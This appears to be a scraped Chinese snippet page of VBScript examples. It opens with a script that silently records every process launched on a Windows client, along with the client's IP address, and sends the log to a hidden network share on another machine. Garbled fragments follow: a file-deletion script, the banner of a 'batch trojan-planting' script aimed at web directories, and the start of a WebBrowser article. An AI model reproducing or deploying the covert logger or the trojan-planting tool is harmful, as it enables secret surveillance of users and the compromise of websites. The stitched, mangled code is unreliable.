记录客户机操作的VBS脚本
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")


i = 0


Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine

set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\192.168.0.87ourway$ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close

Loop

用vbs删除某些类型文件和磁盘空间报告的脚本
OptionExplicitdimServerPath,onlyone,notfinddel,WorkPath,arrWorwpath,strWorkPath,fso,wsh,WshNetwork,cName,exectime,fnum,donum,totalsize,t1,t2,tmfnum=0donum=0totalsize=0WorkPath="F:|D:|C:Download"'

两个批量挂马vbs脚本代码
scan.vbecscriptscan.vbeweb目录程序代码：'版权信息br="************************************"&vbCrLfbr=br&"*VBS批量挂马脚本*"&vbCrLfbr=br&"*BYBanLG*"&vbCrLfbr=br&"***********************

关于vbs WebBrowser导航问题
实际上属于转贴。。呵呵:-)原始文章来自微软，微软么，是大家的微软嘛！所以稍微修改了一下，帖到这里。原文的中文地址是：http://support.microsoft.com/